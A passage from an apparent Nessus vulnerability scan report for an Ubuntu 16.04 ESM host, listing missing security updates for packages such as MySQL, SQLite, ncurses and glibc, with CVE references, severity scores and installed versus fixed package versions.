The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6060-2 advisory.

USN-6060-1 fixed several vulnerabilities in MySQL. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6060-2

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.1 (CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0022

CVSS v2.0 Base Score

7.1 (CVSS2#AV:N/AC:H/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2023-21912
CVE	CVE-2023-21980
XREF	USN:6060-2

Plugin Information

Published: 2023/05/08, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : mysql-common_5.7.33-0ubuntu0.16.04.1
- Fixed package : mysql-common_5.7.42-0ubuntu0.16.04.1+esm1
```

166014 - Ubuntu 16.04 ESM : PCRE vulnerabilities (USN-5665-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5665-1 advisory.

It was discovered that PCRE incorrectly handled certain regular expressions. A remote attacker could use this issue to cause applications using PCRE to crash, resulting in a denial of service. (CVE-2017-6004)

It was discovered that PCRE incorrectly handled certain Unicode encoding. A remote attacker could use this issue to cause applications using PCRE to crash, resulting in a denial of service. (CVE-2017-7186)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5665-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0372

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-6004
CVE	CVE-2017-7186
XREF	USN:5665-1

Plugin Information

Published: 2022/10/11, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libpcre16-3_2:8.38-3.1
- Fixed package : libpcre16-3_2:8.38-3.1ubuntu0.1~esm2

- Installed package : libpcre3_2:8.38-3.1
- Fixed package : libpcre3_2:8.38-3.1ubuntu0.1~esm2
```

161480 - Ubuntu 16.04 ESM : Rsyslog vulnerability (USN-5404-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5404-2 advisory.

USN-5404-1 addressed a vulnerability in Rsyslog. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5404-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.1 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0075

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2022-24903
XREF	USN:5404-2

Plugin Information

Published: 2022/05/24, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : rsyslog_8.16.0-1ubuntu3
- Fixed package : rsyslog_8.16.0-1ubuntu3.1+esm2
```

165524 - Ubuntu 16.04 ESM : SQLite vulnerability (USN-5615-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5615-2 advisory.

USN-5615-1 fixed several vulnerabilities in SQLite. This update provides the corresponding fix for CVE-2020-35525 for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5615-2

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0016

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2020-35525
XREF	USN:5615-2

Plugin Information

Published: 2022/09/28, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libsqlite3-0_3.11.0-1ubuntu1.5
- Fixed package : libsqlite3-0_3.11.0-1ubuntu1.5+esm1
```

166939 - Ubuntu 16.04 ESM : SQLite vulnerability (USN-5712-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5712-1 advisory.

It was discovered that SQLite did not properly handle large string inputs in certain circumstances. An attacker could possibly use this issue to cause a denial of service or arbitrary code execution.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5712-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.6444

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-35737
XREF	USN:5712-1
XREF	IAVA:2022-A-0382-S

Plugin Information

Published: 2022/11/03, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libsqlite3-0_3.11.0-1ubuntu1.5
- Fixed package : libsqlite3-0_3.11.0-1ubuntu1.5+esm2
```

153408 - Ubuntu 16.04 ESM : Squashfs-Tools vulnerabilities (USN-5078-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-5078-2 advisory.

USN-5078-1 fixed several vulnerabilities in Squashfs-Tools. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5078-2

Solution

Update the affected squashfs-tools package.

Risk Factor

Medium

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H)

CVSS v3.0 Temporal Score

7.3 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.0

EPSS Score

0.0358

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-40153
CVE	CVE-2021-41072
XREF	USN:5078-2

Plugin Information

Published: 2021/09/15, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : squashfs-tools_1:4.3-3ubuntu2
- Fixed package : squashfs-tools_1:4.3-3ubuntu2.16.04.3+esm1
```

159719 - Ubuntu 16.04 ESM : XZ Utils vulnerability (USN-5378-3)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5378-3 advisory.

USN-5378-2 fixed a vulnerability in XZ Utils. This update provides the corresponding update for Ubuntu 14.04 ESM and 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5378-3

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0069

CVSS v2.0 Base Score

9.0 (CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-1271
XREF	USN:5378-3
XREF	IAVA:2024-A-0327

Plugin Information

Published: 2022/04/13, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : liblzma5_5.1.1alpha+20120614-2ubuntu2
- Fixed package : liblzma5_5.1.1alpha+20120614-2ubuntu2.16.04.1+esm1

- Installed package : xz-utils_5.1.1alpha+20120614-2ubuntu2
- Fixed package : xz-utils_5.1.1alpha+20120614-2ubuntu2.16.04.1+esm1
```

165525 - Ubuntu 16.04 ESM : libXi vulnerabilities (USN-5646-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5646-1 advisory.

Tobias Stoeckmann discovered that libXi did not properly manage memory when handling X server responses. A remote attacker could use this issue to cause libXi to crash, resulting in a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5646-1

Solution

Update the affected libxi-dev and / or libxi6 packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0102

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2016-7945
CVE	CVE-2016-7946
XREF	USN:5646-1

Plugin Information

Published: 2022/09/28, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libxi6_2:1.7.6-1
- Fixed package : libxi6_2:1.7.6-1ubuntu0.1~esm1
```

171734 - Ubuntu 16.04 ESM : libXpm vulnerabilities (USN-5807-2) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5807-2 advisory.

USN-5807-1 fixed vulnerabilities in libXpm. This update provides the corresponding updates for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5807-2

Solution

Update the affected libxpm-dev, libxpm4 and / or xpmutils packages.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0022

CVSS v2.0 Base Score

9.0 (CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-4883
CVE	CVE-2022-44617
CVE	CVE-2022-46285
XREF	USN:5807-2

Plugin Information

Published: 2023/02/21, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libxpm4_1:3.5.11-1ubuntu0.16.04.1
- Fixed package : libxpm4_1:3.5.11-1ubuntu0.16.04.1+esm1
```

164012 - Ubuntu 16.04 ESM : libcdio vulnerabilities (USN-5558-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5558-1 advisory.

Zhao Liang discovered that libcdio was not properly performing memory management operations when processing ISO files, which could result in a heap buffer overflow or in a NULL pointer dereference. If a user or automated system were tricked into opening a specially crafted file, an attacker could possibly use this issue to cause a denial of service. (CVE-2017-18198, CVE-2017-18199)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5558-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0286

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-18198
CVE	CVE-2017-18199
XREF	USN:5558-1

Plugin Information

Published: 2022/08/10, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libcdio-cdda1_0.83-4.2ubuntu1
- Fixed package : libcdio-cdda1_0.83-4.2ubuntu1+esm1

- Installed package : libcdio-paranoia1_0.83-4.2ubuntu1
- Fixed package : libcdio-paranoia1_0.83-4.2ubuntu1+esm1

- Installed package : libcdio13_0.83-4.2ubuntu1
- Fixed package : libcdio13_0.83-4.2ubuntu1+esm1
```

178444 - Ubuntu 16.04 ESM : libwebp vulnerability (USN-6078-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-6078-2 advisory.

USN-6078-1 fixed a vulnerability in libwebp. This update provides the corresponding update for Ubuntu 16.04 LTS.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6078-2

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0022

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2023-1999
XREF	USN:6078-2

Plugin Information

Published: 2023/07/18, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libwebp5_0.4.4-1
- Fixed package : libwebp5_0.4.4-1ubuntu0.1~esm2

- Installed package : libwebpmux1_0.4.4-1
- Fixed package : libwebpmux1_0.4.4-1ubuntu0.1~esm2
```

162173 - Ubuntu 16.04 ESM : ncurses vulnerabilities (USN-5477-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5477-1 advisory.

Hosein Askari discovered that ncurses was incorrectly performing memory management operations when dealing with long filenames while writing structures into the file system. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code. (CVE-2017-16879)

Chung-Yi Lin discovered that ncurses was incorrectly handling access to invalid memory areas when parsing terminfo or termcap entries where the use-name had invalid syntax. An attacker could possibly use this issue to cause a denial of service. (CVE-2018-19211)

It was discovered that ncurses was incorrectly performing bounds checks when processing invalid hashcodes.
An attacker could possibly use this issue to cause a denial of service or to expose sensitive information.
(CVE-2019-17594)

It was discovered that ncurses was incorrectly handling end-of-string characters when processing terminfo and termcap files. An attacker could possibly use this issue to cause a denial of service or to expose sensitive information. (CVE-2019-17595)

It was discovered that ncurses was incorrectly handling end-of-string characters when converting between termcap and terminfo formats. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code. (CVE-2021-39537)

It was discovered that ncurses was incorrectly performing bounds checks when dealing with corrupt terminfo data while reading a terminfo file. An attacker could possibly use this issue to cause a denial of service or to expose sensitive information. (CVE-2022-29458)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5477-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0025

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-16879
CVE	CVE-2018-19211
CVE	CVE-2019-17594
CVE	CVE-2019-17595
CVE	CVE-2021-39537
CVE	CVE-2022-29458
XREF	USN:5477-1

Plugin Information

Published: 2022/06/14, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libncurses5_6.0+20160213-1ubuntu1
- Fixed package : libncurses5_6.0+20160213-1ubuntu1+esm2

- Installed package : libncursesw5_6.0+20160213-1ubuntu1
- Fixed package : libncursesw5_6.0+20160213-1ubuntu1+esm2

- Installed package : libtinfo5_6.0+20160213-1ubuntu1
- Fixed package : libtinfo5_6.0+20160213-1ubuntu1+esm2

- Installed package : ncurses-base_6.0+20160213-1ubuntu1
- Fixed package : ncurses-base_6.0+20160213-1ubuntu1+esm2

- Installed package : ncurses-bin_6.0+20160213-1ubuntu1
- Fixed package : ncurses-bin_6.0+20160213-1ubuntu1+esm2

- Installed package : ncurses-term_6.0+20160213-1ubuntu1
- Fixed package : ncurses-term_6.0+20160213-1ubuntu1+esm2
```

168311 - Ubuntu 16.04 ESM : pixman vulnerability (USN-5718-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5718-2 advisory.

USN-5718-1 fixed a vulnerability in pixman. This update provides the corresponding update for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5718-2

Solution

Update the affected libpixman-1-0 and / or libpixman-1-dev packages.

Risk Factor

Critical

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0029

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-44638
XREF	USN:5718-2

Plugin Information

Published: 2022/11/30, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libpixman-1-0_0.33.6-1
- Fixed package : libpixman-1-0_0.33.6-1ubuntu0.1~esm1
```

168509 - Ubuntu 16.04 ESM : protobuf vulnerabilities (USN-5769-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5769-1 advisory.

It was discovered that protobuf did not properly manage memory when serializing large messages. An attacker could possibly use this issue to cause applications using protobuf to crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2015-5237)

It was discovered that protobuf did not properly manage memory when parsing specifically crafted messages.
An attacker could possibly use this issue to cause applications using protobuf to crash, resulting in a denial of service. (CVE-2022-1941)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5769-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0049

CVSS v2.0 Base Score

6.5 (CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

4.8 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2015-5237
CVE	CVE-2022-1941
XREF	USN:5769-1

Plugin Information

Published: 2022/12/08, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libprotobuf-lite9v5_2.6.1-1.3
- Fixed package : libprotobuf-lite9v5_2.6.1-1.3ubuntu0.1~esm2

- Installed package : libprotobuf9v5_2.6.1-1.3
- Fixed package : libprotobuf9v5_2.6.1-1.3ubuntu0.1~esm2
```

159361 - Ubuntu 16.04 ESM : zlib vulnerability (USN-5355-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5355-2 advisory.

USN-5355-1 fixed a vulnerability in zlib. This update provides the corresponding update for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5355-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0008

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-25032
XREF	USN:5355-2

Plugin Information

Published: 2022/03/31, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : zlib1g_1:1.2.8.dfsg-2ubuntu4.3
- Fixed package : zlib1g_1:1.2.8.dfsg-2ubuntu4.3+esm1
```

198244 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS : GNU C Library vulnerabilities (USN-6804-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6804-1 advisory.

It was discovered that GNU C Library nscd daemon contained a stack-based buffer overflow. A local attacker could use this to cause a denial of service (system crash). (CVE-2024-33599)

It was discovered that GNU C Library nscd daemon did not properly check the cache content, leading to a null pointer dereference vulnerability. A local attacker could use this to cause a denial of service (system crash). (CVE-2024-33600)

It was discovered that GNU C Library nscd daemon did not properly validate memory allocation in certain situations, leading to a null pointer dereference vulnerability. A local attacker could use this to cause a denial of service (system crash). (CVE-2024-33601)

It was discovered that GNU C Library nscd daemon did not properly handle memory allocation, which could lead to memory corruption. A local attacker could use this to cause a denial of service (system crash).
(CVE-2024-33602)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6804-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.1 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0012

CVSS v2.0 Base Score

9.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:P/A:P)

CVSS v2.0 Temporal Score

6.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2024-33599
CVE	CVE-2024-33600
CVE	CVE-2024-33601
CVE	CVE-2024-33602
XREF	USN:6804-1
XREF	IAVA:2025-A-0062

Plugin Information

Published: 2024/05/31, Modified: 2025/03/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.
```

```
- Installed package : libc6_2.23-0ubuntu11.3
- Fixed package : libc6_2.23-0ubuntu11.3+esm7

- Installed package : multiarch-support_2.23-0ubuntu11.3
- Fixed package : multiarch-support_2.23-0ubuntu11.3+esm7
```

197569 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS : idna vulnerability (USN-6780-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-6780-1 advisory.

Guido Vranken discovered that idna did not properly manage certain inputs,

which could lead to significant resource consumption. An attacker could

possibly use this issue to cause a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6780-1

Solution

Update the affected pypy-idna, python-idna and / or python3-idna packages.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0024

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2024-3651
XREF	USN:6780-1

Plugin Information

Published: 2024/05/21, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.
```

```
- Installed package : python3-idna_2.0-3
- Fixed package : python3-idna_2.0-3ubuntu0.1~esm1
```

191066 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 : less vulnerability (USN-6664-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 host has a package installed that is affected by a vulnerability as referenced in the USN-6664-1 advisory.

It was discovered that less incorrectly handled certain file names. An attacker could possibly use this issue to cause a crash or execute arbitrary commands.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6664-1

Solution

Update the affected less package.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

